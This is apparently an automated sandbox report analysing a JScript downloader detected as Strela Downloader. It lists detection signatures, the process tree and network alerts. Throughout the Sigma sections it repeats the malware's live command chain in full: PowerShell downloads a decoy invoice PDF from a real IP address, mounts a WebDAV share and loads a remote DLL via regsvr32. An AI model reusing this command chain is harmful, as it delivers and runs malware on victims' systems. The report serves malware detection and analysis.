Edit tour

Windows Analysis Report
1808220077299634192.js

Overview

General Information

Sample name:	1808220077299634192.js
Analysis ID:	1587942
MD5:	5d911a75d1f239452adca53d9e72b603
SHA1:	c1bfb2cb220593bbc6c68ba6a27d2fa1eb2dd65c
SHA256:	e09194ee8ecbb95d0e02a3a0fc16bb5bc03dc0b339bd29880a5cbeaa0e08a86a
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2248 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5732 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5700 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7152 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3704 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7296 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1620,i,14760046977536667840,10936330580510443145,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1048 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1924 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7188 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2248	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5700, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5700, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", ProcessId: 2248, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1924, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49722

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2248, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, ProcessId: 5732, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2248, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, ProcessId: 5732, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2248, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, ProcessId: 5732, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2248, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, ProcessId: 5732, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2248, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, ProcessId: 5732, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", ProcessId: 2248, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5700, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1048, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1924, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7188, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1048, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1924, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2248, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll, ProcessId: 5732, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:37:28.819127+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49722	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:37:26.580229+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1808220077299634192.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1808220077299634192.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49722 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:37:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: global traffic

TCP traffic: 192.168.2.6:49722 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:55418 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

